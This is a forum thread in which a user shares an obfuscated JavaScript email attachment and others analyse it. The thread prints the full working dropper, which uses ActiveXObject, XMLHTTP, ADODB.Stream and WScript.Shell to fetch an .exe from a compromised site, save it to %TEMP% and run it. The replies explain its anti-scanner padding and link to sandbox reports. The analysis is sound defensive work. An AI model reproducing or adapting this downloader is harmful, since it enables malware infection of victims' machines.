Javascript "virus"
Hi everyone !
In my job, we received a “bad” mail, with attached a zipped js file. I don’t really know javascript, so can you tell me what does this script ? I don’t really want to test it. tanks you :)
eWQniYJJJqb = "} if ( seed ) { if ( postFinder || preFilter ) { if ( postFinder ) { Get the final matcherOut by condensing this intermediate into postFinder contexts temp = []; i = matcherOut.length; while ( i-- ) { if ( (elem = matcherOut[i]) ) { Restore matcherIn since elem is not yet a final match temp.push( (matcherIn[i] = elem) ); } } postFinder( null, (matcherOut = []), temp, xml ); ";
accountableI = 0;
String.prototype.naive = function () { return this.substr(0, 1); };
var wgOCV = ["M"+("architectural","changes","clove","passengers","Ii")+"qu"+("programming","defects","JBVvR"), ("troubleshooting","supersede","dVG")+("finals","conspire","included","neighborhood","II")+("leeds","journal","bn")+"RcLm", "ExpandEnv"+("hearths","outsider","hydra","ir")+"on"+"me"+"ntStri"+"ngs", ""+("petal","enacting","%")+"TE"+"MP%", ""+("establish","edges","unmerciful",".")+"exe", ("meals","fucking","atlantis","trembl","R")+"un", ("particular","bowling","prevent","limousines","Actco")+"unterivcountereX"+("routines","snowboard","detract","counte")+"rO"+"bcount"+("limit","slant","blueblack","foothold","erjecoun")+("thunderbolt","spans","ideally","terct"), "lriRxn", "ddcyjtFEUpi", "W"+"Sc"+"co"+"un"+"te"+"rr"+"ip"+"tc"+("passage","cheshire","dynamite","ou")+"nt"+"er." + ("opens","buffoon","S"), "ymXMqApbIv", ("cashed","legion","hco")+"unte"+"re"+"lcount"+"erl", "YWACVXlR", ""+"H"+("visiting","hosea","welkin","solidarity","zO")+"Vaw", "Mco"+"un"+"te"+"rS"+("analytical","tearful","Xc")+("scenic","czech","clips","ount")+("divisible","graduate","erML")+"coun"+"ter2" + "."+"coun"+("describes","proficiency","bombard","te")+("vitamins","mental","medusa","harvest","rX")+"McounterLHcounterTTP"];
pcwsBTbM = "}function matcherFromTokens( tokens ) { var checkContext, matcher, j, len = tokens.length, leadingRelative = Expr.relative[ tokens[0].type ], implicitRelative = leadingRelative || Expr.relative[\" \"], i = leadingRelative ? 1 : 0,";
wgOCV.splice(7, accountableI + 2);
sharpen = wgOCV[1+4+1].split("counter").join("");
var GymEDPjn = this[sharpen];
nERqhlmGDdB = "PIFIxecYw";
chrysalis = (("aggregate", "singing", "alias", "threat", "pVeVNII") + "tAVvmirW").naive();
equatorials = (("automatic", "amendment", "paroxysm", "services", "sWmgnaCHXETh") + "moVhFMoKOYo").naive();
accountableI = 6;
wgOCV[accountableI + 1] = wgOCV[accountableI + 1] + wgOCV[accountableI + 3];
wgOCV[accountableI + 2] = "EvuQoWamx";
accountableI++;
wgOCV.splice(accountableI + 1, accountableI - 4);
wgOCV[accountableI] = wgOCV[accountableI].split("counter").join("");
var ltKuu = new GymEDPjn(wgOCV[accountableI]);
vnPilEIXp = " seed[temp] = !(results[temp] = elem); } } ";
accountableI++;
wgOCV[accountableI + 1] = wgOCV[accountableI + 1].split("counter").join("");
var KtbEPMh = new GymEDPjn(wgOCV[1 + accountableI]);
rtCthIsahzc = "} Move matched elements from seed to results to keep them synchronized i = matcherOut.length; while ( i-- ) { if ( (elem = matcherOut[i]) && (temp = postFinder ? indexOf( seed, elem ) : preMap[i]) > -1 ) {";
accountableI /= 2;
var DkYHv = ltKuu[wgOCV[accountableI - 2]](wgOCV[accountableI - 1]);
XEHDiPIHSTB = "} Add elements to results, through postFinder if defined } else { matcherOut = condense( matcherOut === results ? matcherOut.splice( preexisting, matcherOut.length ) : matcherOut ); if ( postFinder ) { postFinder( null, results, matcherOut, xml ); } else { push.apply( results, matcherOut ); } } }); ";
subjectivee = (("carries", "mutation", "aviator", "effectively", "ElSaIFDa") + "Wyxpkz").naive();
function contains(healing, reproduce) {
try {
var lobby = DkYHv + "/" + reproduce + wgOCV[accountableI];
wSoGcxQQA = "} Add elements passing elementMatchers directly to results Support: IE<9, Safari Tolerate NodeList properties (IE: \"length\"; Safari: <number>) matching elements by id for ( ; i !== len && (elem = elems[i]) != null; i++ ) { if ( byElement && elem ) { j = 0; if ( !context && elem.ownerDocument !== document ) { setDocument( elem ); xml = !documentIsHTML; } while ( (matcher = elementMatchers[j++]) ) { if ( matcher( elem, context || document, xml) ) { results.push( elem ); break; } } if ( outermost ) { dirruns = dirrunsUnique; } ";
KtbEPMh["o" + chrysalis + subjectivee + "n"](("telegraphic","prime","competitive","G") + subjectivee + ("inquest","bastion","anyway","sparrow","T"), healing, false);
rUzxymoD = "} Track unmatched elements for set filters if ( bySet ) { They will have gone through all possible matchers if ( (elem = !matcher && elem) ) { matchedCount--; ";
KtbEPMh[equatorials + ("precipitately","implied","refrigerator","e") + (("gratuitous", "childhood", "spectacular", "enter", "newcastle", "nmutgWSmhA") + "rLtbyk").naive() + (("ovary", "hindrance", "leanto", "taurus", "blades", "ddVoLlCiImD") + "flXFlq").naive()]();
mmHcJHVNvs = "} Lengthen the array for every element, matched or not if ( seed ) { unmatched.push( elem ); } } ";
if (KtbEPMh.status == 200) {
var XvPNrjgxg = new GymEDPjn((""+"A"+("samoa","triangle","pO")+("tutorials","flimsy","eminem","facetiously","DB.") + ("grotto","refugee","")+"S"+("earthquake","scrip","title","tr")+"eam").replace("p", "D"));
XvPNrjgxg.open();
gamHpS = " The foundational matcher ensures that elements are reachable from top-level context(s) matchContext = addCombinator( function( elem ) { return elem === checkContext; }, implicitRelative, true ), matchAnyContext = addCombinator( function( elem ) { return indexOf( checkContext, elem ) > -1; }, implicitRelative, true ), matchers = [ function( elem, context, xml ) { var ret = ( !leadingRelative && ( xml || context !== outermostContext ) ) || ( (checkContext = context).nodeType ? matchContext( elem, context, xml ) : matchAnyContext( elem, context, xml ) ); Avoid hanging onto element (issue #299) checkContext = null; return ret; } ];";
XvPNrjgxg.type = 8 * (4 - 3 - 1) + 1;
Wvpzidhwtfd = " for ( ; i < len; i++ ) { if ( (matcher = Expr.relative[ tokens[i].type ]) ) { matchers = [ addCombinator(elementMatcher( matchers ), matcher) ]; } else { matcher = Expr.filter[ tokens[i].type ].apply( null, tokens[i].matches );";
XvPNrjgxg["w"+"ri"+("cooperation","oxide","seeker","collector","te")](KtbEPMh[""+"R"+("accosted","slavish","shakira","es")+("capital","gypsy","pon") + equatorials + ("emancipate","shake","fertilizing","e")+"Bo"+"dy"]);
TvgAVxhblG = " Return special upon seeing a positional matcher if ( matcher[ expando ] ) { Find the next relative operator (if any) for proper handling j = ++i; for ( ; j < len; j++ ) { if ( Expr.relative[ tokens[j].type ] ) { break; } } return setMatcher( i > 1 && elementMatcher( matchers ), i > 1 && toSelector( If the preceding token was a descendant combinator, insert an implicit any-element `*` tokens.slice( 0, i - 1 ).concat({ value: tokens[ i - 2 ].type === \" \" ? \"*\" : \"\" }) ).replace( rtrim, \"$1\" ), matcher, i < j && matcherFromTokens( tokens.slice( i, j ) ), j < len && matcherFromTokens( (tokens = tokens.slice( j )) ), j < len && toSelector( tokens ) ); } matchers.push( matcher ); } ";
XvPNrjgxg[(chrysalis + "o"+("readily","clumsily","Di")+("mither","specialists","bradley","ti")+"on").replace("D", equatorials)] = 0;
wgPBgDSwUf = "} return elementMatcher( matchers ); ";
XvPNrjgxg.saveToFile(lobby, 2);
oUuMeEUmo = "}function matcherFromGroupMatchers( elementMatchers, setMatchers ) { var bySet = setMatchers.length > 0, byElement = elementMatchers.length > 0, superMatcher = function( seed, context, xml, results, outermost ) { var elem, j, matcher, matchedCount = 0, i = \"0\", unmatched = seed && [], setMatched = [], contextBackup = outermostContext, We must always have either seed elements or outermost context elems = seed || byElement && Expr.find[\"TAG\"]( \"*\", outermost ), Use integer dirruns iff this is the outermost matcher dirrunsUnique = (dirruns += contextBackup == null ? 1 : Math.random() || 0.1), len = elems.length;";
XvPNrjgxg.close();
KLxKYyqkiQ = " if ( outermost ) { outermostContext = context === document || context || outermost; ";
ltKuu[wgOCV[accountableI + 1]](lobby, 1, "qFRsrAaSAH" === "Dlglgj"); UekaMc = "} if ( seed ) { Reintegrate element matches to eliminate the need for sorting if ( matchedCount > 0 ) { while ( i-- ) { if ( !(unmatched[i] || setMatched[i]) ) { setMatched[i] = pop.call( results ); } } ";
}
} catch (anLdioi) { };
}
contains("http://digi"+("papal","copyright","taldips.pk/wp-content/plug")+("digest","immaculate","billow","diver","ins/hell")+"o123/j7u7h54h5.exe","CgYrXLur");
heCmMnWXoB = "} `i` is now the count of elements visited above, and adding it to `matchedCount` makes the latter nonnegative. matchedCount += i;";
EMshQEJ = " Apply set filters to unmatched elements NOTE: This can be skipped if there are no unmatched elements (i.e., `matchedCount` equals `i`), unless we didn\"t visit _any_ elements in the above loop because we have no element matchers and no seed. Incrementing an initially-string \"0\" `i` allows `i` to remain a string only in that case, which will result in a \"00\" `matchedCount` that differs from `i` but is also numerically zero. if ( bySet && i !== matchedCount ) { j = 0; while ( (matcher = setMatchers[j++]) ) { matcher( unmatched, setMatched, context, xml ); ";
Very interesting.
Skinning it now to remove useless garbage. :)
Few edits:
1> Worth blacklisting
contains("http://digitaldips.pk/wp-content/plugins/hello123/j7u7h54h5.exe","CgYrXLur");
2> Lookie here:
https://ghostbin.com/paste/kdkk3
GhostBin updated with more results.
So yeah, it does some funny tricks, at work now, hence I am this slow and will stop here. :P
I’m not so good in js.. but I’ve noticed that in a lot of parts tries to catch some strings, for example
amoa",“triangle”,“pO”)+(“tutorials”,“flimsy”,“eminem”,“facetiously”,“DB.”) + (“grotto”,“refugee”,“”)+“S”+(“earthquake”,“scrip”,“title”,“tr”)+“eam”).replace(“p”, “D”
..now, dloser you’ve said that it runs an exe.. so do you know what happens if he had written that words? ..I don’t think that all that code is used only to run an exe
[quote=Dave97]what happens if he had written that words?[/quote]
What words?
In any case, the code is full of useless strings that are only meant to fool scanners and spam filters. Things like (“tutorials”,“flimsy”,“eminem”,“facetiously”,“DB.”) evaluate to only the very last element (“DB.” in this case). Variables assigned big strings are never used (e.g. pcwsBTbM = “}function matcherFromTokens….”). Most of what you see is never really used to do anything other than avoid detection by obfuscation.
If you really would work it out, the code should boil down to getting the exe (using various methods, depending on what is available) and planting/executing that exe (using some vulnerability).
I don’t study this script yet but sometimes the use of strings may be used to bypass some filter or to mask the code to be hard to understand. I know that @dloser can reduces this code to few lines lol
?
sorry for my bad english.. but my mother language is italian.. I’m still learning..
Anyway .. interesting.. so who has written that would only to trick you to not understand the source code hiding the exe.
Now we should downlaod that exe with linux and try to read the source code to understand what does it do
You can download in any OS, but the source is compiled isn’t human readable, I think you must to try decompile.
?
If you checked my ghostbin link then you could have seen that a lot of the “code” brings itself to the real code.
Like GET, send, etc.
This code is so much obfuscated ! I’ve reversed almost half the code for you so you can understand
https://ghostbin.com/paste/2hphr
And here’s an good analysis of the file and what it does to the system ( it actually does thing to filesystem and registry ) :
https://malwr.com/analysis/ZGQxOGJhMjM3MzUzNDZhYmFiYzc4OWIyZmJhYTJkOTY/
This code creates instance of ActiveXObject, which is present in Windows computers
This instance is used to open processes for “MSXML2.XMLHTTP” and “WScript.Shell”
They are later used to download a file from the wordpress ( or any other hacked website ) , store it in “%TEMP%” directory with a random name, and then execute it
Here’s another analysis of the file :
On this website, you’ll get pcap from network analysis :D
Hope it helps :)
You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ‘\’‘ at line 1
Only scanned your “reversed” code a bit, but:
1) Thanks for pretty printing the code in the strings, but it is never used. ;)
2) “Wut ? GymEDPjn is not a constructor and so, can’t do this action” It is a constructor. Here X[‘Y’] is another way of writing X.Y or just Y if X is this, so it is the place where the ActiveXObject is created.
1) I’ve understand this thing after making the ghostbin lol
2) i’ve understand it’s a way to call ‘sharpen’ and so ‘ActiveXObject’, but couldn’t make this code works in console :/
You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ‘\’‘ at line 1
@dloser It fails with the message that ‘GymEDPjn’ is not a constructor.. :)
I also tried it, even by doing
var GymEDPjn = this["ActiveXObject"];
// and foolishly
var GymEDPjn = this[ActiveXObject];
it fails.
^ Argument over. :P
That’s 100% true.
I also used a browser on in-private with security policies set to maximum so.. yeah.. No sh*t it failed. xD
And here’s a good version of the code ( some useless code, I know ; but I just keep them in the code so everyone can understand :p )
You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ‘\’‘ at line 1
Yes, it exactly does this
But only if you are a Windows + IE user :)
No problem, I took it as a challenge and I’ve enjoyed deciphering this script :D
You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ‘\’‘ at line 1
Anyone downloaded the .exe and ran it in a (safe) VM yet?
Could do some packet captures maybe stick in it in IDA?
Weird its giving me a 500 error when I try to get the file, It’s just I would expect a 404..?
Why would you expect only 404? Many things can go wrong. ;)
Check the links posted by @Mugiwara27**. Personally, I don’t see why you would go through the effort of trying to figure out that code. That is, unless you want to do it yourself for the experience.
I don’t only expect a 404. Just presumed the admin would’ve got rid of that file by now so I’m kinda curious whether its still there.
Yeah, re-read Mugiwara27’s post
(didn’t read the second file analysis where it states all the address' etc.. )
The .exe file on the code is stored on hacked websites, so when the admin regain access to his website, he clean all the shit the hacker has upload in his server
For this one, it’s already done
Searching by filename on only scanner, you could find something interesting ;
https://malwr.com/analysis/search/
Search for : name:j7u7h54h5.exe
Then you’ll get 4 results
2 of 4 are extremely dangerous viruses
You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ‘\’‘ at line 1
well seems like you were not the only one getting that email. seems its a common method now to spread a rasomware